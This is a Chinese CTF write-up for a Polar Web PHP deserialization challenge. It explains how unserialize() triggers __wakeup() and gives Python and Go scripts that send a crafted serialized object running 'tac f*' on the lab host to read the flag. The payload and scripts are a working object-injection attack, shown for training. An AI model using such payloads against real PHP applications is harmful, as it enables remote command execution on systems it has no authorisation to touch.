Polar Web【简单】PHP反序列化初试

Polar Web【简单】PHP反序列化初试

Contents

思路

启动环境,显示下图中的PHP代码,于是展开分析:

  1. 首先发现Easy类中有魔术函数 __wakeup() ,实现的是对成员变量 $name 的回显。
  2. 观察下方发现, unserialize() 函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量 $name 中,以触发命令执行。
  • 本题分别使用手动注入和脚本运行两种方式进行解答。

EXP

手动


脚本

Python
python 复制代码
import requests


def attack(url, payload):
    url += payload
    res = (requests.get(url).content.decode('utf8'))
    if res:
        print(res[res.rindex('flag'):res.rindex('"')])


if __name__ == '__main__':
    site = 'http://~.www.polarctf.com:8090/'
    pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'
    attack(site, pl)
Go
go 复制代码
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

func attack(url string) {
	//fmt.Println("url:", url)
	if resp, err := http.Get(url); err != nil {
		panic("GET ERR: " + err.Error())
	} else {
		out, _ := ioutil.ReadAll(resp.Body)
		ans := string(out)
		fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])
	}
}

func main() {
	baseURL := "http://~.www.polarctf.com:8090/"
	// 解析基础 URL
	u, err := url.Parse(baseURL)
	if err != nil {
		panic(err)
	}
	// 解析查询字符串
	q, err := url.ParseQuery(u.RawQuery)
	if err != nil {
		panic(err)
	}
	// 添加或更新查询参数
	q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")
	// 编码查询字符串
	u.RawQuery = q.Encode()
	attack(u.String())
}
  • !注意 !在Go语言中,为了防止特殊的字符导致URL被截断引发HTTP请求异常,需要对原生URL进行编码处理

运行&总结

  • 本题考查PHP代码分析、反序列化以及序列构造的技巧
  • 需要对PHP面向对象设计有所认识

敬,不完美的明天

相关推荐
汽车仪器仪表相关领域6 小时前
全自动化精准检测,赋能高效年检——NHD-6108全自动远、近光检测仪项目实战分享
大数据·人工智能·功能测试·算法·安全·自动化·压力测试
MOON404☾6 小时前
006.Backdoor后门编写
网络·安全·网络安全·系统安全
石像鬼₧魂石8 小时前
22端口(OpenSSH 4.7p1)渗透测试完整复习流程(含实战排错)
大数据·网络·学习·安全·ubuntu
Fnetlink18 小时前
AI+零信任:关键基础设施安全防护新范式
人工智能·安全
Zero_Era8 小时前
高性价比安全MCU——LKT6830C
单片机·嵌入式硬件·安全
专注前端30年9 小时前
【PHP开发与安全防护实战】性能调优手册
android·安全·php
weixin_465790919 小时前
微网双层优化模型Matlab实现之路
安全
oMcLin10 小时前
如何在 RHEL 7 上优化 Nginx 与 PHP‑FPM 配置,确保高并发 Web 应用的稳定性与响应速度?
前端·nginx·php
yunlong326711 小时前
吊装助理三维结构有限元分析操作教程
安全·有限元·方案·安全分析·吊装·起重·结构计算
IT=>小脑虎13 小时前
PHP零基础衔接进阶知识点【详解版】
开发语言·学习·php